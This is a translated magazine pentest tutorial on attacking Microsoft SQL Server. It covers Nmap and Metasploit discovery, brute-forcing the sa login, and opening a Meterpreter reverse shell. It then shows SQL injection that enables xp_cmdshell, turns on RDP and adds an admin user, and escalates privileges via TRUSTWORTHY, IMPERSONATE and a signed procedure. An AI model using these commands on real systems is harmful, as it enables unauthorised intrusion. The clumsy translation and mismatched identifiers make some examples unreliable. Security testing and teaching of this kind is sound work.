📜 ⬆️ ⬇️

We check MS SQL for durability. Vectors of attacks on MS SQL Server

image

Practically no serious pentest can do without checking the DBMS, because this is one of the most popular doors for intruders to the desired information and machine. In large projects, MS SQL Server is very often used as a DBMS. And we’ll talk about verification of his safety today. We will not discover America - experienced comrades will only refresh their knowledge, but for those who are just starting to master the topic, I tried to sort everything out as detailed as possible.

Introduction


One of the most important criteria for the reliability of an information system is database security. Attacks aimed at it, in most cases, are critical, because they can partially or completely disrupt the performance of the system. Since large organizations formed their infrastructure a long time ago and updating to new versions of software causes them to have “big” problems, MS SQL Server 2005 and MS SQL Server 2008 remain the most common versions. But these are just statistics, and we will continue consider common to all versions of vectors and technology. For convenience, we conditionally divide the whole process of pentest into several stages.

How to find MS SQL


The first thing the pentester begins to do is to collect information about the services located on the victim’s server. The most important thing to know when searching for Microsoft SQL Server is the port numbers that it listens to. And he listens to ports 1433 (TCP) and 1434 (UDP). To check if MS SQL is available on the victim's server, you need to scan it. For this, you can use Nmap with the `ms-sql-info` script. The scan will start like this:
')
nmap -p 1433 --script=ms-sql-info 192.168.18.128 

Well, the result of its implementation is presented in Fig. one.


Fig. 1. Scanning MS SQL with Nmap

In addition to Nmap, there is an excellent scanning module for Metasploit `mssql_ping`, which also allows you to determine the presence of MS SQL on the attacked server:

 msf> use auxilary/scanner/mssql/mssql_ping msf auxilary(mssql_ping) > set RHOSTS 192.167.1.87 RHOSTS => 192.168.1.87 msf auxilary(mssql_ping) > run 


Fig. 2. Scan MS SQL using mssql_ping

Using one of these options, you can quickly determine whether MS SQL is installed on the server, as well as find out its version. Then you can proceed to the next stage.

Brute force


Suppose we found a DBMS on the server. Now the task is to get access to it. And here we are met by the first obstacle in the form of authentication. In general, MS SQL supports two types of authentication:

  1. Windows Authentication is a trusted connection in which SQL Server accepts a user account, assuming that it is already verified at the operating system level.
  2. Mixed Mode - Authentication with SQL Server + Windows Authentication.

By default, the first authentication mode is used, and the mixed mode is activated separately. In practice, it is quite difficult to meet the base without a mixed mode - it is more flexible.

Some advantages of mixed mode


  • Allows SQL Server to support older applications, as well as third-party applications that require SQL Server authentication.
  • Allows SQL Server to support environments with multiple operating systems in which users are not authenticated to the Windows domain.
  • Allows software developers to distribute their applications using a complex hierarchy of permissions based on well-known, predefined SQL Server logins.

Usually at this stage we do not have access to the corporate network, thus we cannot use authentication through Windows. But we found an open port with MS SQL, which means we are trying to rotate the admin sa account, which is standard for mixed mode. To automate the process, use the Metasploit module `mssql_login`:

 msf > use auxiliary/scanner/mssql/mssql_login msf auxiliary(mssql_login) > set RHOSTS 172.16.2.104 RHOSTS => 172.16.2.104 msf auxiliary(mssql_login) > set PASS_FILE /root/Desktop/pass.txt [*] 172.16.2.104:1433 - MSSQL - Starting authentication scanner. [*] 172.16.2.104:1433 - LOGIN FAILED: WORKSTATION\sa:admin (Incorrect: ) [*] 172.16.2.104:1433 - LOGIN FAILED: WORKSTATION\sa:qwerty (Incorrect: ) [*] 172.16.2.104:1433 - LOGIN FAILED: WORKSTATION\sa:toor (Incorrect: ) [+] 172.16.2.104:1433 - LOGIN SUCCESSFUL: WORKSTATION\sa:root [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed 

Fine! The password is found, now we can proceed to the next stage. But what if the server sa? Then you have to log in and login, for which you will need to tell the script one more file, where to get them from:

 msf auxiliary(mssql_login) > set USER_FILE /root/Desktop/user.txt 

Www


A wide variety of brute force dictionaries can be found here .

Getting the shell


In case we managed to clear the sa `s account, we can log in to the database. Further, the script is simple - we include a stored procedure that allows you to execute commands at the operating system level, and uploads to the Meterpreter server shell. Cool guys wrote for Metasploit an excellent module `mssql_payload`, which automates this process:

 msf > use exploit/windows/mssql/mssql_payload msf exploit(mssql_payload) > set RHOST 172.16.2.104 msf exploit(mssql_payload) > set USERNAME sa USERNAME => sa msf exploit(mssql_payload) > set PASSWORD root PASSWORD => root msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(mssql_payload) > set LHOST 172.16.2.105 LHOST => 172.16.2.105 [*] Command Stager progress - 100.00% done (102246/102246 bytes) [*] Meterpreter session 1 opened (172.16.2.105:4444 -> 172.16.2.104:3987) at 2015-02-20 10:42:52 -0500 meterpreter > 

Session Meterpreter'a created, now you have full access. You can dump the admin hash, take screenshots, create / delete files, turn on / off the mouse or keyboard and much more. This is probably the most popular shell that is used in penetration tests. The full list of Meterpreter commands can be found here .

What to do if the login / password is not twisted?


But make no mistake, not so often the module `mssql_login` will please you: admins very rarely leave the password to default. In this case, SQL-injection will help us get the shell. Imagine the HTML form in which the user enters the article number and a simple vulnerable query to the database, all of which work under the admin sa account:

 $strSQL = “SELECT * FROM [dbo].[articles] WHERE id=$id”; 

The variable `$ id` is not filtered in any way, which means it is possible to conduct a SQL injection in which any query will be executed from under the admin's` sa` account. In order to execute commands at the operating system level, you must activate the stored procedure `xp_cmdshell`, which is disabled by default. We will need to send four requests to activate it:

  1. `10; EXEC sp_configure 'show advanced options', 1; `
  2. `10; reconfigure; `
  3. `10; 'exec sp_configure' xp_cmdshell ', 1; `
  4. `10; reconfigure`

The `sp_configure` system stored procedure allows you to view, document, modify and restore server configuration. The easiest way to access the server is to enable RDP through the registry, create a user with admin rights and connect.

Enable RDP:

 10; reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f 

Create user:

 10; exec master.dbo.xp_cmdshell 'net user root toor /ADD' 

Giving rights:

 10;exec master.dbo.xp_cmdshell 'net localgroup administrators root/add' 

Privilege escalation. TRUSTWORTHY


In the previous case, the request to the database was made on behalf of the administrator, and therefore it was so easy to execute commands of the operating system. But what if we have a curtailed account that does not have permission to include `xp_cmdshell`? In this case, the stored procedures and the activated property `TRUSTWORTHY` on the base will help us.

But let's start from the beginning. For greater clarity, this vector will describe the entire stage at the stage of configuration of the database and accounts. Create a new base `YOLO`:` CREATE DATABASE YOLO; `. Create a new user `bob` with the password` marley`: `CREATE LOGIN bob WITH PASSWORD = 'marley';` Assign the user `bob` as the owner of the base` YOLO`:

 USE YOLO ALTER LOGIN [bob] with default_database = [YOLO]; CREATE USER [bob] FROM LOGIN [bob]; EXEC sp_addrolemember [db_owner], [bob]; 

Then we set the property `TRUSTWORTHY`, which determines whether to allow objects of this database (views, user-defined functions, stored procedures) to access objects outside this database in the impersonation mode:` ALTER DATABASE YOLO SET TRUSTWORTHY ON`. Login to SQL Server under `bob: marley` account.
Create a stored procedure to assign the sysadmin privileges to the bob account:

 USE YOLO GO CREATE PROCEDURE sp_lvlup WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember 'bob','sysadmin' GO 

Make sure that before the execution of the stored procedure, we do not have sysadmin privileges:

 SELECT is_srvrolemember('sysadmin')  = 0 

Perform the above stored procedure `sp_lvlup`:

 USE YOLO EXEC sp_lvlup 

And again we will check our privileges:

 SELECT is_srvrolemember('sysadmin')  = 1 

The `sp_lvlup` procedure is designed to run on behalf of` OWNER`, which in this case is the admin account `sa`. This is possible because `db_owner` created a stored procedure for its database, and this database is configured as reliable, that is, the property` TRUSTWORTHY = On`. Without this property, it would not be possible to execute the procedure due to lack of privileges. The activated property TRUSTWORTHY is not always bad. Problems begin when administrators do not lower privileges to database owners. As a result, the `bob` account after the execution of the` sp_lvlup` procedure has been granted the privileges of `sysadmin`. To see which bases have the property `TRUSTWORTHY` activated, you can use the following query:

 SELECT name, database_id, is_trustworthy_on FROM sys.databases 


Or to automate the entire process, you can use the module for Metasploita `mssql_escalate_dbowner_sqli`:

 use auxiliary/admin/mssql/mssql_escalate_dbowner_sqli set rhost 172.16.2.104 set rport 80 set GET_PATH /login.asp?id=1+and+1=[SQLi];-- exploit ... [+] 172.16.2.104:80 - Success! Bob is now a sysadmin! 

Privilege escalation. User Impersonation


The following vector is called User Impersonation. Sometimes stored procedures need access to external resources outside the application base. To accomplish this, developers use the privileges of IMPERSONATE and the EXECUTE AS function, which allows them to execute a query on behalf of another account. This is not a vulnerability per se, but rather a weak configuration, leading to escalation of privileges.

As in the previous example, we will begin to analyze the essence of the vector at the configuration stage. First of all, create four accounts:

 CREATE LOGIN User1 WITH PASSWORD = 'secret'; CREATE LOGIN User2 WITH PASSWORD = 'secret'; CREATE LOGIN User3 WITH PASSWORD = 'secret'; CREATE LOGIN User4 WITH PASSWORD = 'secret'; 

Then we give the user `User1` privileges to execute requests on behalf of` sa`, `User2`,` User3`:

 USE master; GRANT IMPERSONATE ON LOGIN::sa to [MyUser1]; GRANT IMPERSONATE ON LOGIN::MyUser2 to [MyUser1]; GRANT IMPERSONATE ON LOGIN::MyUser3 to [MyUser1]; GO 

We log in to SQL Server under the account `User1` and check if the privileges have been applied to execute requests from other accounts.

 SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE' 

Now check the current privileges:

 SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin')  = 0 

Well, now the actual trick itself is to execute the request on behalf of `sa`, since above we gave the privileges of the` User1` account to execute requests on behalf of `sa`:

 EXECUTE AS LOGIN = 'sa' SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin')  = 1 

All right, we can now execute commands on behalf of `sa`, which means we can include the stored procedure` xp_cmdshell`:

 EXEC sp_configure 'show advanced options',1 RECONFIGURE GO EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE GO 

INFO


The default `sysadmin` account can execute queries on behalf of any other users. To display a table with all users will help you a query: `SELECT * FROM master.sys.sysusers WHERE islogin = 1`. To execute a query on behalf of another account, use `EXECUTE AS LOGIN = 'AnyUser'`. To return again to the previous account, simply run the query `REVERT`.

That's the whole trick. To automate, as usual, you can use the Metasploit module `mssql_escalate_executeas_sqli`:

 use auxiliary/admin/mssql/mssql_escalate_execute_as_sqliex set rhost 172.16.2.104 set rport 80 set GET_PATH /login.asp?id=1+and+1=[SQLi];-- exploit ... [+] 172.16.2.104:80 - Success! User1 is now a sysadmin! 

Privilege escalation. Certificate-Signed Stored Procedures


To describe this vector, we will create a vulnerable stored procedure signed with a certificate. Unlike the previous examples, for escalation of privileges are optional:


Create an account with minimal rights:

 CREATE LOGIN tor WITH PASSWORD = 'loki'; GO -- Set login's default database ALTER LOGIN [tor] with default_database = [master]; GO 

Turn off the property `TRUSTWORTHY`:` ALTER DATABASE master SET TRUSTWORTHY OFF`. And create a simple stored procedure `sp_xxx`, which will output the column` name` from the database `tempdb`, as well as from the database that the user entered:

 USE MASTER; GO CREATE PROCEDURE sp_xxx @DbName varchar(max) AS BEGIN Declare @query as varchar(max) SET @query = 'SELECT name FROM master..sysdatabases where name like ''%'+ @DbName+'%'' OR name=''tempdb'''; EXECUTE(@query) END GO 

After that, create an encryption key for the `MASTER` base:

 CREATE MASTER KEY ENCRYPTION BY PASSWORD = 'secret'; GO 

And certificate:

 CREATE CERTIFICATE sp_xxx_cert WITH SUBJECT = 'To sign the sp_xxx', EXPIRY_DATE = '2035-01-01'; GO 

The next step is to create a login from the `sp_xxx` certificate:

 CREATE LOGIN sp_xxx_login FROM CERTIFICATE sp_xxx_cert 

And we will sign the procedure with the certificate created:

 ADD SIGNATURE to sp_xxx BY CERTIFICATE sp_xxx_cert; GO 

Give the sp_lvlup2` login the privileges of `sysadmin`:

 EXEC master..sp_addsrvrolemember @loginame = N'sp_xxx_login', @rolename = N'sysadmin' GO 

We give privileges to members of the PUBLIC group to perform the procedure:

 GRANT EXECUTE ON sp_xxx to PUBLIC 

As a result, we created the user `tor` with minimal rights, the stored procedure` sp_xxx`, which displays the name of the entered database, created the certificate `sp_xxx_cert` and signed the stored procedure with them, and also created the login` sp_xxx_login` from the certificate and gave it the privileges `sysadmin `. At this preparatory part is over. Login as the `tor` account and call the stored procedure:

 EXEC MASTER.dbo.sp_xxx 'master' 

As expected, it will return to us the name of the specified database - `master` and` tempdb` (see. Fig. 3).


Fig. 3. The result of the query EXEC MASTER.dbo.sp_xxx 'master'

A query like `EXEC MASTER.dbo.sp_sqli2 'master' '-'` will only return `master` (see. Fig. 4).


Figure 4. The result of the query EXEC MASTER.dbo.xxx 'master' '-'

Fine. This means that the stored procedure is subject to SQL injection. Check our privileges with the following query:

 EXEC MASTER.dbo.sp_xxx 'master'';SELECT is_srvrolemember(''sysadmin'')as priv_certsp--'; 


Fig. 5. We check our privileges through a vulnerable stored procedure.

`priv_cersp = 1` (see Figure 5) means that we have the privileges of sysadmin. The command `EXEC master..xp_cmdshell 'whoami';` does not work, because the `tor` account has minimum permissions, but if this query is inserted into a SQL injection, then everything will work (Fig. 6).


Fig.6. We check our privileges in the system

What is most interesting, such a trick will work in versions 2005-2014.

Conclusion


The difference in all these vectors is very significant. In some cases, to achieve the goal, you can limit the included property `TRUSTWORTHY`, which allows using objects from this database to objects outside, in order to create and execute a stored procedure that increases privileges. Somewhere it is possible to execute stored procedures on behalf of other accounts due to the presence of the privileges `IMPERSONATE` and the function` EXECUTE AS`, and in the third cases it is only important to have a SQL injection through which the query can be implemented, and it will be executed on behalf of another account records For a complete understanding of the nuances and subtleties, I would advise checking these vectors on my local machine.

The article does not provide an exhaustive account of all attack vectors on MS SQL DBMS, but it will be very useful for a surface analysis of security. I also recommend that you familiarize yourself with another hacking vector via DB link, which Alexei Tyurin described in the December issue] [(# 191) in the Easy Hack section. That's all, thank you for your attention and see you soon.

image

First published in the magazine "Hacker" from 04/2015.
Posted by Nikita «ir0n» Kelesis, Digital Security ( @nkelesis , nikita.elkey@gmail.com)

Subscribe to "Hacker"

Source: https://habr.com/ru/post/256667/


All Articles